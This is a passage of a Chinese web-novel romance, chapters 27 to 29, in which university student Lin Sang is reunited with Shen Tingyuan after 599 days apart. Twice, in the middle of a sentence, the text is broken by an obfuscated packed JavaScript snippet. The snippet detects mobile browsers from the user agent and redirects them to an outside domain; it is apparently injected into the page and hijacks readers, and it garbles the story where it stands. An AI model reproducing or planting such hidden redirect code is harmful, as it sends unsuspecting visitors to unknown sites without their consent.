开学前一周,刘乔千到榆城出差,因为就在隔壁市,就让林桑带点基本的东西去榆城,等她出差结束后直接送她去学校报道。 到榆城后,刘乔千忙着工作,林桑每天一个人出门转悠。 她去了沈听原从小生活的那片区域,在他小时候玩的公园坐了一下午。 期间,遇到了一个白发苍苍的爷爷,两人聊了几句,爷爷听说她马上要去上大学,送了她一串手串,祝她一路顺利。 离开那天,正好是报道前一天。 林桑拍了手上戴着的手串发了条消息过去。 【Bob:我去了你小时候经常去的公园,遇到了爷爷,以前在你相册里见过照片,我一直记得。】 【Bob:他送了我一串手串,祝我一路顺利。】 【Bob:你说,他是不是也认出我了。】 她又断断续续发了很多。 到最后,赶在登机前发了最后一条消息过去。 不是文字,而是语音。 “沈听原,我在北城外国语大学等你。” 消息一发出去,聊天框上端开始跳出“对方正在输入中”几个大字。 林桑下意识握紧手机,屏息凝神望着聊天框上方的字一会儿跳动,一会儿消失。 反反复复不知多少次。 终于,在她掌心沁出不少汗时,屏幕上弹出她从未奢望过的白色聊天气泡。 【Banana:好。】 27.第 27 章 大一那一年,军训结束后,又是上课又是参加各种社团活动,大学好像和高中那会儿想的不太一样。 闲的时候特别闲,忙的时候,经常脚不沾地。 还没反应过来,已经六月,距离大一结束只剩下最后一个多月。 临近高考,最近各大软件都被感慨青春的视频刷屏。 “高中每次下晚自习是什么感受”这一话题热度暴涨,一度冲上热榜,稳居高位。 晚上各自躺在床上刷着手机,林桑看着这个话题,心里五味杂陈。 这时,舍友也看到了,开始谈论起高中那会儿下晚自习后是什么感觉。 对面的张清茹说:“我每天晚上想的都是终于能爬上我的床了,怎么评论里都是些说偷偷谈恋爱的。” 睡在她邻床的唐钰琪笑道:“所以说,你才会想的是床啊。” “不过我那会儿也差不多,每天想的都是终于又熬完一天,回家路上别人躲角落手牵手,我满脑子都是我妈会给我准备什么好吃的。” 她话音落,寝室里响起一道爽朗的笑声。 是睡在林桑隔壁的李璐。 “你们那个时候竟然没偷偷谈个恋爱。” “那种怕被发现又忍不住偷偷约会的感觉可刺激了。” 她笑:“可惜了,不过大学恋爱也挺美好的,你们争取体验一下。” 林桑一直没吭声,李璐喊了一声:“小闺女,睡了吗?” 云亭算是没有冬天,林桑来了北城后才买了一堆厚衣服和保暖衣,她特别怕冷,每次稍微降点温就得把自己裹成粽子。 李璐光净身高就173,平时走御姐风,喜欢穿高跟鞋,两人身高差很明显,她经常说林桑裹成粽子站在她身边的时候让她有种带了闺女的感觉,那之后就习惯性喊林桑小闺女。 林桑盯着屏幕,视线模糊,脑海里浮现的是沈听原送她到宿舍楼下的一个个夜晚。 李璐的声音将她唤了回来,她啊了一声说:“还没睡。” 李璐:“说说呗,你高中下晚自习后是什么感受。” 那张时常带着笑意的脸渐渐清晰,林桑抿了抿唇才自然地道:“感受就是,啊,终于熬完一天,想立马躺到床上。” 一阵笑声过后,话题很快就扯开。 林桑点进云亭一中公众号看了一眼,没什么新的内容,又退出来,点开短视频软件,同样没更新。 这两年短视频软件盛行,云亭一中开了账号,公众号也慢慢运营起来,学校有什么活动的时候,就会拍了照发在公众号和短视频软件上。 林桑每次把那些照片放大看了又看,把那些视频也一帧帧暂停细细看了个遍。 即使知道不会有那人的身影,她还是会循环往复。 她不知道,在她频繁打开云亭一中公众号和短视频账号的时候。 三千多公里外的云亭。 有人无数次在宣传栏前驻足,盯着上面的“2018届毕业生录取喜报”,弯唇看着她的名字发呆。 …… 高考前几天,林桑收到了陈雪的消息,找她给学弟学妹们录个考前祝福视频。 这算是云亭一中的老传统了,每次高考前学校都会找以前的毕业生录视频。 林桑欣然应下,下课后,张清茹带着相机陪她到学校门口录制视频。 找好位置调好角度后,林桑理了理头发才看向屏幕开口道:“学弟学妹们好,我是2018届毕业生林桑,现就读于北城外国语大学。” “高考在即,在这里祝学弟学妹们高考诸事顺利,都能获得理想的成绩,考上理想的学校。” “旗开得胜,前程似锦!” 准备暂停时,想到什么,她笑了一下,迈步向前靠近镜头:“我在北城外国语大学——” “等你!” * 林桑不太吃得惯北城的东西,加上每天忙来忙去,吃饭不规律,假期回云亭的时候,都说她瘦了不少,奶奶每天铆足了劲给她煲各种汤。 成功在假期结束后又把林桑养了回去。 收假日一共两天,林桑在最后一天晚上才赶回学校。 李璐是本地人,家离学校不远,一般隔天有课才会回学校,林桑开门的时候,只有另外两个室友在。 林桑推着行李箱往里关上门,张清茹一脸生无可恋地靠在椅子上,后仰着看了她一眼,有气无力地说:“回来啦。” 林桑放下东西,“你这是怎么了?” “遇上什么事了?” 张清茹继续开始了沉思,坐在一旁的唐钰琪开口道:“她放假前不是报名了新生入学志愿者,本来幻想着跟学弟来个完美邂逅呢。” “结果刚刚去开了个会,被分到了后勤。” 林桑:“后勤都做些什么?” 唐钰琪憋着笑:“到时候不是要在学校门口正对面搭个我们刚来那会儿一样的舞台,她主要就负责前一天帮忙搭舞台。” “至于后面报道的两天,哪里需要往哪补。” 她说完,张清茹抓狂道:“天杀的!究竟是谁分的组啊,不知道大一没谈上恋爱得单到毕业的吗。” “姐现在都大二了!” “大二了!” 林桑笑了一下:“你过段时间去食堂或者操场邂逅也行啊。” 张清茹一顿,一拍大腿立马坐直:“对啊,我怎么没想到。” …… 迎新那两天,张清茹一回到寝室就得骂骂咧咧,结束的那个晚上,回到寝室时,她带了四杯奶茶回来,放在每个人桌上后,异常沉默。 林桑洗完澡出来看到桌上的抹茶奶盖,问道:“谁买的啊?” 张清茹翻看着手机没说话,李璐指了指她道:“她带回来的,后勤部组长给买的,辛苦两天的福利。” 林桑擦着头发走过去,“辛苦啦,谢谢。” 感受到她靠近,张清茹猛然锁上屏幕把手机扔到桌上。 她突如其来的动静把林桑吓得够呛,不止她,李璐和唐钰琪也被吓了一跳。 唐钰琪:“要死啊,你干嘛?” 张清茹尴尬地笑了笑:“我刚刚刷到一个鬼片,鬼脸一下子凑到屏幕上,吓死我了。” 她说着,像是意识到什么,迟缓地抬起手拍了拍胸口。 林桑和唐钰琪不觉有他,但李璐就不一样了。 她眯眼看着张清茹,看得张清茹头皮发麻。 张清茹看着她,说话磕磕绊绊的:“你……看……看我干嘛?” 李璐笑了一下,毫不留情地戳穿道:“我刚刚回头的时候,无意间看到了,你哪是在刷什么视频。” “那个界面,分明是微信朋友圈。” 张清茹面色如常:“是吗,肯定是你看错了。” “对,看错了。” 她反应太过反常,林桑和唐钰琪反应过来了,唐钰琪起身跳到她身边,双手环住她的脖子:“你是不是偷偷邂逅了小学弟藏着掖着呢?” 张清茹立马否认:“没有。” 唐钰琪:“不信,那你把刚刚说的鬼片给我看看。” 张清茹:“……” 她沉默,唐钰琪更加确信有鬼,一直缠着她,不说就不让她上床。 最后张清茹被磨得不行了,小声道:“确实是……加了个学弟。” 唐钰琪:“怎么样,帅不帅?” 张清茹:“特别帅,得被人在表白墙捞个不停的那种帅。” 唐钰琪比她还要激动:“犹豫什么,拿下!” 李璐吸了口奶茶,挑眉道:“你要是不行,姐姐给你做个助攻喽。” 林桑也轻笑着接话:“对啊,你这都不用去食堂和操场邂逅了,多好的机会。” 张清茹视线在她身上停了几秒,很快挪开,她眼神闪躲:“不了,不合适。” 唐钰琪语气不解:“为什么?” “他有女朋友?” 张清茹有些犹豫:“算是吧。” 李璐闻言皱了下眉:“什么叫算是吧,你看人朋友圈看半天就得出这结论?” “拿来我帮你分析分析。” 张清茹干笑两声:“仅三天可见。” 见她们都在帮自己,张清茹摆摆手道:“这个不是我喜欢的类型,就是帮了他个忙才加的。” “我看他朋友圈是在犹豫要不要删了,毕竟以后也不会有什么交集。” 她不想多说,李璐一下将话题扯开,都很默契地没再提。 * 迎新前学校在大门附近弄了个新生签名墙,林桑一直没去看过。 后来听到有人说马上要拆了,她才抽出时间赶在拆之前去看了一眼。 新生很多,上面的字各有特色,面板上密密麻麻写了一片,有的横着写,有的竖着写,更有甚者,拐着弯写。 旁边有人讨论着写成这样都不知道这些名字究竟该怎么念,都能取新名字了。 林桑站在一旁,视线快速地在面板上略过。 从上而下,从下而上,从左往右,从右往左。 来来回回几次,看到一个大大的“沈”字时,林桑心跳窒了一瞬。 她看着那个“沈”字周边的字。 凑不出他的名字。 而且,多看两眼发现,字迹也不像。 林桑收回视线,转身离开。 心想,再等等吧。 说不定,下一年—— 他就来了。 …… 有天下课路过操场的时候,新生正好在军训。 李璐看着张清茹,下巴朝操场的方向一扬道:“你不是说帅到会被人在表白墙上捞个不停吗,最近表白墙我可都看着呢,也没特别突出的。” “你指了给我们看看呗,让我来看看究竟帅到什么地步。” 张清茹无语地翻了个白眼道:“……大姐,那么多人,全穿迷彩服,我火眼金睛啊?” “再说了,他申请了不军训,没在学校。” 李璐拖长腔调“哦”了一声,笑眯眯地看着她。 唐钰琪:“你连人没军训都知道,还说不感兴趣!” 意识到自己说了什么,张清茹闭了闭眼,开始装死,被挠痒痒也一声没吭。 趁她们注意力都在张清茹身上,林桑从包里拿出手机,对着操场拍了一张。 吃过饭后回寝室午休,林桑躺在床上,点开那个置顶的聊天框,和他分享北城外国语大学又开学了,现在正在军训。 自从那天回复过“好”之后,那头又沉默起来,再没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795447|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回复过她。 林桑想起自己最近忙着上课,忙着准备社团招新,已经很久没点开他的微信主页看过。 虽然每次点开都是一个样,但她还是忍不住,时不时点进去看两眼才觉得安心。 林桑在右上角那三个点上点了一下,点开蓝色头像,主页很快跳出来,正准备点进朋友圈,余光瞥到三个大字,她指尖顿住,眼里的不可思议几乎要溢到屏幕上。 沈听原的Q/Q昵称一直都是一个颜文字,头像也一直都是纯蓝色,林桑以前总是好奇,对着屏幕解读出了千万层意思,直到后来加了微信发现昵称和头像跟他的Q/Q是一样的,她好奇问了才知道,用颜文字⊙?⊙是因为他觉得这个表情和小黄人Bob的表情有点像,而蓝色的头像,则是从她头像里截的。 不知何时,他用了多年的颜文字换成了三个字—— 响铃声。 林桑目光呆滞地盯着这三个字,感觉快要喘不过气来。 而且…… 上面的地区也从云城换成了北城。 她猛然起身,听到动静,李璐问:“小闺女,你怎么了?” 林桑深深吸了几口气才道:“没事,刚吃过饭躺着有点不舒服,起来坐一会儿。” 李璐没怀疑,应了一声就没再说话。 林桑指尖止不住地颤抖着。 他突然改昵称和地区是为什么。 是好了吗。 是要回来了吗。 那他为什么还是不回复她发过去的那些消息。 无数个想法涌入脑子里,林桑只觉更加透不过气,就连头也开始微微发痛。 她放下手机,在虎口上死死掐了几下才缓过来。 缓过神后,她没再多看,直接退出了微信。 后面几天,林桑遇上什么事想分享的时候,指尖悬在那个蓝色头像上,想到那天的事,又忍了回去。 她也分不清这样究竟是在和沈听原较劲,还是和自己较劲。 …… 九月中旬,新生军训汇报表演结束的第三天,北城下了一场很大的雨,气温骤降。 早上要赶早八,林桑醒来掀开被子准备下床的时候,被冷气给逼了回去。 她在床上缓了缓才下床,没去洗漱,打开衣柜开始翻保暖衣。 室友见状,笑个不停。 林桑抱着衣服跑到卫生间换完出来才开始洗漱。 李璐看着自己身上的短裙,她只是在外面加了件大衣,林桑里面保暖衣,外面套了一件鹅黄色的羽绒服,像只胖乎乎的小黄鸭。 她忍俊不禁:“妹妹,这还只是一场雨,没下雪呢。” 林桑在戴不戴围巾之间犹豫了一会儿,觉得现在确实不必要,最后还是选择了不戴。 她将长发分开理到胸前,拉起帽子戴上,瓮声瓮气地说:“对我来说已经下雪了。” 李璐无奈地摇摇头,抬手揽着她道:“走吧,小黄鸭,上课去了。” 最近新生也开始上课,可能是大家都脱下军训服换回了自己的风格,加上新生开始在教学楼这一片活动,表白墙开始热闹起来。 捞人的投稿一条接一条。 今天一共两节大课加一节专业小课。 上完第一节大课去吃饭的时候,林桑手揣在兜里,听着其他人讨论表白墙上的内容。 李璐“哎呦”一声道:“这个挺帅啊,怎么没人拍个正脸。” “哪个啊?”张清茹随口问。 李璐:“最新那条投稿。” 张清茹应了一声,这时,唐钰琪激动道:“快刷新,又来一条,有正脸。” 李璐轻啧道:“看侧脸以为是那种斯斯文文的,正脸怎么有种病弱斯文败类感。” “这才是能被放在表白墙捞个不停的帅,你说的那个到这个水平了吗?” 张清茹心不在焉地应:“大差不差吧。” 她说着,手肘轻轻碰了林桑一下:“你要不要看看,真挺帅的。” 这会儿没雨,但冷风一阵一阵吹着,阴冷。 林桑缩着脖子:“不看。” 张清茹又问了一遍:“真不看?” 林桑连头都不想扭,生怕一扭就灌风:“不看,看了又不能让我暖和。” 李璐笑着锐评:“果然啊,有些人寡,是有原因的。” 她这番话林桑浑然不觉,倒是让张清茹和唐钰琪都忍不住哈哈大笑。 …… 最后一节是专业小课,专业小课一般都有固定的教室,但今天因为大一的开始上课,那个教室被占用了,他们只能临时换了教室。 通知来得晚,一群人急匆匆往教室赶,好在没迟到。 坐下后,张清茹四处看了看说:“我总觉得我好像忘了什么事。” 林桑坐在她身侧,见老师已经过来,低声提醒道:“你先想想这是谁的课,其他事都是次要的,等下课再想吧。” 这个老师格外严格,别说迟到了,她的课上必须提前五分钟就进教室,并且保持安静,否则就会扣平时分。 见老师已经在讲台前站定,张清茹立马坐正,可那件想不起来的事,一直令她抓心挠肝的。 听课的时候,她总会忍不住想是什么事,但一直到快下课都没想起来。 28.第 28 章 下课后,又下起了淅淅沥沥的小雨。 到楼下时,出口堵了不少人,林桑低头在包里翻着伞,跟着前面的人一点一点往门外挪。 她撑开伞后,张清茹扫了眼教学楼前的空地,瞥到一个身影,她靠了过去挽起林桑的胳膊说:“我伞在包里,懒得翻了,跟你躲一下。” 林桑:“好。” 两人往台阶走,下雨天台阶容易滑,林桑低头看着,走到空地上时,身侧的人突然停住了脚步。 林桑偏头:“怎么了?” 张清茹看着前方,没说话。 林桑顺着她的视线看过去,来不及思考,身体先一步做出了反应。 她条件反射地转身想走,脚刚迈出去,手臂被人拽住,张清茹一把将她扯了回去。 “跑什么,下雨呢。” 林桑说不出话,握着伞的手微微发颤,她没抬头,直接把伞递给张清茹。 张清茹没接,话音从她牙缝里挤了出来:“好好聊聊吧。” 她说完,轻轻拍了下林桑的肩膀,从包里拿出伞,催促着一时之间搞不清状况在一旁面面相觑的李璐和唐钰琪离开。 林桑站在原地,没抬眼,将手里的伞往下降了一些,伞面抵在头顶上,将她的脸完全遮住。 她幻想过无数次,某天沈听原就在教学楼或者是食堂,亦或是操场和某条道路上突然出现。 可她的幻想只停留在沈听原出现的那个画面,她从没想过他真正站在眼前的那一刻,她该做些什么,说些什么,该给出怎样的反应。 就像此刻。 时隔599天,他出现了。 她心心念念的,活生生的人,如今就站在离她不到两米远的地方。 她不知道接下来该怎么办。 余光里出现了熟悉的黑白撞色球鞋和一截黑裤。 她没任何动作,身前的人似是无奈地笑了一声。 随后,耳边响起阔别已久的声音。 “原来大学上课还能临时换教室呢,学姐行行好,多传授点经验呗,让学弟少走点弯路。” 林桑大脑里嗡嗡作响,握着伞柄的手再也抑制不住,剧烈地抖了起来。 一股酸意在整个胸腔和脸上铺天盖地地弥漫开来,眼眶上的湿意越来越重。 不能再低头了。 他回来是好事。 她不能哭。 不能哭。 林桑吸了吸鼻子,迟缓地抬起眼。 沈听原的身影从伞的边缘一点一点变得清晰,完整地出现在眼前。 他身上穿了一件灰色卫衣,外搭一件黑色长风衣,左手上惯戴的机械表换成了腕表,手里执着一把透明伞,戴了红绳的右手里拎了一本《国际经济学》。 看上去瘦了不少,身形比起以往显得有些单薄,不知道是衣服衬的,还是因为生病,他皮肤比过去还要白。 林桑看着他额前的碎发,倏然想起他们分开那天,他的头发还是贴青皮的板寸。 一个模糊的画面开始在眼前浮现。 “既然这样,你等头发长回以前的样子再来见我吧。” “阎王还在一天我这头发就不可能留长,难不成你要让我高考结束后留三个月头发再来见你啊。” “也不是不行。” “……” 那时的他们怎么都想不到,一句随口的玩笑,竟成了真。 林桑看着他黑色半框眼镜下带了浅浅笑意的眼睛,几度哽咽,含泪笑道:“沈听原,你还真等头发长回来了才来见我啊。” 一句话落地。 沈听原僵了一瞬,眼眶渐渐染上湿意,神情有些无措。 周遭人来人往,他们脸上带笑互相看着对方的眼睛,世界里只剩下彼此。 那笑里,有久别重逢的欣喜,有终于卸去重负的轻松,亦有苦尽甘来的恍然。 他们一直这么站着,周围投来不少好奇打量的目光。 林桑不想在这样的环境下和他叙旧,轻声道:“要不要换个地方?” 沈听原怔了一下,嗓音微哑:“好。” 教学楼侧边有个停车区,沈听原带着她在一辆黑色奥迪A7前停下。 他替她开了门,林桑顿了顿才低下身上车。 林桑坐在车上,看着他从车前绕到驾驶位,打开门坐了进来。 忽的,沈听原偏头看了一眼,附身凑近。 林桑呼吸一窒,眼睛一瞬不眨地看着他。 他的气息越来越近,替她系好安全带后,又迅速撤开。 林桑耳根微微发烫,下意识动了动,调整了舒服的姿势才缓缓长吁一口气。 她看着他系上安全带,发动车子,单手打着方向盘将车倒了出去。 一套动作一气呵成,熟练得不行。 林桑有些恍惚。 他们只要稍稍分开一段时间,她记忆中的少年,就会发生不少转变。 将记忆中的他和现在的他进行对比,一点一点探寻他身上细枝末节的变化。 不知为何,她很喜欢这种感觉。 车子缓缓驶离教学楼,开上干道。 他们一直没说话,车内没放音乐,太过安静。 林桑目视着前方,轻声开口:“你开车的时候,不会晕吗?” “不会。”沈听原说,“可能注意力集中了,晕也没空去感受。” 静默一瞬,林桑想到什么,下意识抓紧了安全带,偏头道:“你……有驾照吗?” 车已经从学校驶出开上外面的辅路。 林桑忽觉这个问题问的有点多余。 耳边传来一声轻笑,低低沉沉,像是从他喉咙里发出来的。 正好碰上红灯,沈听原伸手从中控台储物盒里取出一个黑色小本子递给她。 “放心吧,绝对安全。” “不安全我哪敢带你。” 林桑接过,翻开看了两眼,没说话。 之后,一路沉默。 沈听原带她去了一家离学校有点远的饭店。 跟着服务员到沈听原订的位置坐下后,林桑看着坐在对面帮她烫洗碗筷的沈听原,总觉得有种说不出的别扭感。 她偏头,四处打量着这家店的装修。 店面不算大,装修也是很简单的风格,唯一特别的地方是墙壁上画了不少色彩艳丽的图案,各种民族特色交融在一起,就连服务员穿的衣服都是民族服饰。 林桑看了一会儿,收回眼,碰巧和沈听原的视线撞上。 她怔了一下,沈听原面上也有几分不自然。 两秒后,林桑听到沈听原缓缓开口:“你来这,还习惯吧。” 林桑点点头,抬起茶杯轻抿了一口:“还好。” 沈听原指腹摩挲着杯壁,“那就好。” “……” 一顿饭就这么安静吃完,回学校的路上,沈听原突然将车开到了一个购物中心地下停车场。 以为他是要买什么东西,林桑没多问,拉起帽子戴上准备下车。 准备解安全带时,被沈听原拦住。 这样冷的天气,他的手温度竟比她要高得多。 林桑转过头,视线相撞的瞬间,沈听原连忙撇开头看向窗外。 他耳尖和白皙的脖颈上慢慢爬上了绯红。 他掩饰般轻咳了一声道:“不用下车,等个人。” 林桑垂眼看了眼方才被他温热的手心覆盖过的地方,迟缓地放下手,小声道:“哦,好。” 等了一会儿,一个男人手里拎了几个购物袋缓步朝他们所在的方向走来。 男人一身黑,一双腿修长笔直,身上气质总给人一种生人勿近的感觉。 男人戴了一顶鸭舌帽,微扬下巴看过来时,林桑才发现,来人是沈听原的哥哥。 侯云景走近后,沈听原也没下车,开了车窗,嬉皮笑脸地说:“辛苦。” “帮我放后座。” “谢谢哥。” 侯云景没说话,轻轻哼了一声。 林桑犹豫着要不要打个招呼,侯云景察觉到她的视线,看了过来,轻微颔首。 林桑顿了顿,颔首笑了一下。 沈听原见侯云景的视线一直停留在自己身后,抬手挡住,“哥,还得回学校,赶时间呢。” 侯云景黑眸毫无情绪地扫了他一眼,拉开车门,将手里的购物袋一股脑随手扔了进去,随后摔上门转身离开。 那一下力道很大,林桑觉得车身都晃了晃。 沈听原关了窗,偏头:“有吓到你吗?” 林桑小幅度摇了摇头:“没有。” 随后,无言。 车子重新启动,缓缓驶出地下停车场。 这会儿晚高峰,一眼望去,红色尾灯在雨夜中连成长龙。 等车在宿舍楼下停稳,已经是一个小时后。 林桑解了安全带,和他道完别就准备下车。 车门开了一半,身侧传来安全带解开的声音,熟悉的气息贴近,冷气堪堪挤了一点进来,被重新关上的门给挡了回去。 沈听原一手撑在她身侧,一手撑在车窗上,将她整个人圈了起来。 距离一下子拉近,近到林桑能清晰地感受到他呼吸时带出的热气。 他这突如其来的动作让她愣在原地,连呼吸都慢了几分。 “金金。” 林桑不明所以:“啊?” 沈听原:“想不想打我?” 林桑莫名:“我为什么要打你?” 沈听原垂下头,顿了顿:“我多可恨啊,这么长时间没理你。” 他们从下课后就一直一起待到现在,几个小时过去了,说过的话就那么几句。 林桑觉得,这种状态像极了她刚转到云亭一中的时候,每天和他待在一间教室里,说话的次数却很少。 但那时的心境和现在是完全不同的。 那时的她,能和他在一间教室就很满足。 而后来,明白他的心意后,又觉得每天能和他一起做题背书吃饭就很满足。 如今,她又觉得,即使什么都不说,就这么待在一起,确认他平安无事就很满足。 她想得认真,意识到她分神,沈听原哑然失笑:“我现在对你,已经没吸引力了吗?” 林桑缓过神:“不是。” 他语气懊恼:“可你都不跟我说话,就好像我们只是普通同学一样。” 林桑被他这番恶人先告状弄得有些无言。 她默了一会儿,从包里摸出手机解锁,手机发出的光映照在他们脸上。 林桑将手机屏幕对着他,指着上面的置顶说:“我要是只把你当普通同学,就把给你的备注改成19级国贸沈听原了。” 她默了两秒,又小声补了一句:“置顶也取消。” 沈听原微微眯着眼看着手机屏幕。 列表里,置顶是他。 她没删聊天记录,最近聊过天的都在列表上。 在他下方,是她的三个室友,全部备注了全名。 视线往下移,有宿舍群,有班级群,有社团群,还有食堂群。 再往下,其他人的备注还真是她说的那个格式。 【18级外交学张术】 【17级国贸李苴栗】 【18级法学苏樊】 …… 这么一看,估计都是从群里添加的。 沈听原低垂着头,闷着声笑了一会儿,最后实在没忍住,扑哧一声笑了出来。 看着他脸上带着小小的得意,记忆中的少年和眼前人的身影交叠在一起。 林桑忽然觉得,好像也没变。 依旧很幼稚。 她收了手机,轻声开口:“我就是觉得,确认你是平安无事的就行了。” “至于话,后面有的是时间慢慢讲。” “而且……” 她顿了一瞬,低声控诉:“你知不知道你走了多久,一直都是我在和你说话。” “599天。” 他不知何时停了笑,此时表情认真,带了几分凝重。 “那以后换我说好不好?” “但是,我有个小小的请求。” 林桑:“什么?” 沈听原:“我说的时候,你别不理我。” 林桑别开脸看向窗外:“我考虑考虑。” 沈听原欣然点头:“行,等你回复。” 话题结束,车内陷入寂静,只有他低浅的喘息声和时不时从附近传来的喊叫声。 注意力和听觉全被他的呼吸声占据,林桑忽觉有些闷。 “那个,时候不早了,我该回寝室了,你也早点回去。” 沈听原应了一声,缓缓起身坐了回去。 林桑开了门下车,发现他也下来了,开了后座的车门,将侯云景塞进去的购物袋全都拎了出来。 林桑看着他的动作,一时间忘了自己是准备上台阶的。 沈听原拎上东西走到她身侧说:“走吧,送你到门口。” 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798641|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑:“你提的东西,是给我的?” 沈听原略微点头:“是。” 林桑低头扫了一眼,看上去是衣服和围巾什么的。 “你留着吧,我有。” 沈听原扬唇道:“女款,你的码,我留着干嘛?” “睹物思人?” 林桑:“……” 他没个正形,她没接话,转身迈步上了台阶。 到大门前时,沈听原是男生,不能进女寝,他将手里的购物袋塞进林桑手里:“接下来就只能辛苦我们金金提一下了。” 林桑双手都提满了他塞进来的购物袋,她顿了顿:“那我上去了,你开车注意安全。” 沈听原轻轻点了下头:“好。” 林桑刚要转身,又被他喊住。 林桑:“怎么了?” 沈听原:“你不跟我说个晚安吗?” 林桑撇撇嘴:“你不也没跟我说。” 沈听原挑挑眉,姿态懒散,笑着说:“在这之前,想先感谢一下你。” 林桑:“什么?” 沈听原往四周看了两眼,向前迈了一步,俯下身靠在她耳侧,声音很轻。 “谢谢你,一直让我做最特别的那一个。” “晚安,小乖。” 他很快撤回了原位。 林桑被他温热气息碰过的地方像是被烈火灼烧一般,渐渐升温。 她没看他,说了“晚安”后就落荒而逃。 …… 林桑手里拎了东西,只能敲门。 门一打开,她就对上了张清茹带着不明笑意的脸。 张清茹趴在门框边,看着她手里的东西,眨眼道:“聊的不错吧。” 林桑:“……你先让我进去。” 张清茹似是才想起这回事,连忙侧身让她进门。 林桑把购物袋都放在椅子旁边,李璐敷着面膜走过来。 “我说呢,以前那么多人追你,你怎么连微信都不愿意加。” “原来藏了个这么厉害的对象。” 她扫了眼购物袋上的logo,叹道:“这堆东西,加上奥迪A7,你这对象有点实力啊。” 一旁唐钰琪笑道:“你是不知道,早上表白墙那么多捞他的,看你们一起开车出去吃饭,都说失恋了。” 林桑有些不好意思,抬手在耳边挠了挠才小声说:“我们……还没在一起。” “什么!” 李璐突然一声,吓得她抖了抖。 “按张清茹说的,他今年才来报道,是你以前的学弟?” 林桑:“没有,他本来跟我们是同届。” 唐钰琪:“那他是之前没考上复读了?” 林桑沉默,李璐当她是默认:“敢情他一直没跟你表白过?” 林桑也不知道该怎么说,想了想,折中道:“没来得及。” 李璐“啧”了一声说,“妹妹啊,抓紧点。” “你要知道,在大学,正常已经是对一个人最高级别的评价了。” “对。”张清茹接话道,“刚唐钰琪没说完,表白墙有人厚颜无耻地说有对象又怎样,谁有本事拆散了抢着走就是谁的。” 她说着,忍不住翻了个白眼,“底下已经骂了一片,气得我都差点激情开麦,又怕影响到你们。” 上了大学后,林桑算是开了眼,遇见过很多摧毁她三观的人和事,从没想过有一天会轮到自己身上。 虽然知道沈听原不会轻易受影响,但她还是隐隐有了几分危机感。 林桑被她们包围在中间,她小心翼翼地抬眼看了看她们,轻声道:“我……尽量。” 李璐恨铁不成钢地在她头上拍了一下:“什么尽量,让你拿下他!” 林桑:“……” 她们又帮她分析了一通,还给她支了不少招,半个多小时后,总算放过她。 林桑到阳台拿前两天洗的睡衣准备洗澡,视线往下一瞥,车还停在原地,沈听原斜倚在车上,没玩手机,低着头不知道在想什么。 林桑放下手里的晾衣杆,趴到窗口上,像是有感应一般,沈听原抬眼看了过来。 林桑朝他招了招手,示意他快回去。 沈听原仰头看了一会儿,似是怕她看不太清,缓慢又极重地点了下头,而后直起身往驾驶位走。 还是和高中那会儿一样,她打完招呼他才会离开。 林桑从包里拿出手机对着他的身影拍了一张,发在一个群里就去洗澡洗漱。 等她弄完一切躺在床上,群里已经聊了有一会儿。 【适珈蓝:这谁?你在学校遇到帅哥分享的时候不知道拍个正脸的吗!!!】 【鲁琳:看这车,这穿搭,难道是你们学校的教授?】 【适珈蓝:谁家教授这么年轻,还大晚上不守德往女生寝室楼跑。】 中间隔了几分钟,方倚霏才冒出来:【我说你们俩,是真傻还是假傻。】 【适珈蓝:禁止人身攻击.jpg】 【鲁琳:自己退群.jpg】 【方倚霏:……】 【方倚霏:不是,你们真觉得她会拍其他男人?】 群里大概是安静了一段时间的,至少隔了十分钟,适珈蓝才在群里发了一条语音。 随后,是鲁琳的一串感叹号和方倚霏的一串省略号。 适珈蓝在群里疯狂艾特她,可能是看她没回,还单独给她发了一堆表情包轰/炸她。 这会儿已经熄灯了,林桑翻出耳机戴上才点开那条语音。 适珈蓝那如同尖叫鸡的声音传来: “我靠!啊啊啊啊!沈沈沈……沈听原回来了?林桑你快出来解释,我就知道,老娘嗑的CP永不BE!!!” 林桑笑了一下,开始打字在群里回复。 聊来聊去,一看时间,已经快三点了,其他人都说太困剩下的白天再继续聊。 林桑和她们互道晚安后从对话框里退了出来,发现沈听原在十分钟前给她发了一条消息。 【Banana:明天我过来接你去上课,好不好?】 林桑下意识想要拒绝,顿了几秒,回复:【好。】 那头很快发了条消息过来:【还没睡?】 林桑指尖顿了一下才缓缓打字:【早睡了,起床上厕所。】 【Banana:好,那你上完早点睡。】 她回复完后,起床去上了个厕所,没有半丝困意,她走到桌子前,捞起褪黑素打开,吃完才重新回了床。 29.第 29 章 隔天不用赶早八,第二节才有课。 林桑下楼的时候,沈听原已经在楼下等着了。 沈听原换了身衣服,黑色卫衣外面套了一件同色系羽绒服,一条浅蓝色牛仔裤,搭一双白色鞋子。 他手里拎了一个纸袋,倚在车身上,没看手机,一直看着出口。 舍友笑着将林桑往沈听原所在的方向推,沈听原笑了一下:“你们也一起吧,这天怪冷的。” 上了车后,沈听原从袋子里拿出一个饭团和一杯豆浆递给林桑,又转身将袋子递给张清茹说:“不知道你们口味,随便买的,凑合吃两口。” 张清茹伸手接过,笑道:“你小时候那会儿多混啊,现在跟变了个人似的。” 说来还挺巧,张清茹也是榆城人,和沈听原是邻居兼幼儿园同学。 沈听原低低“嗯”了一声,帮林桑系好安全带说:“还得多亏她,不然可能就误入歧途了。” 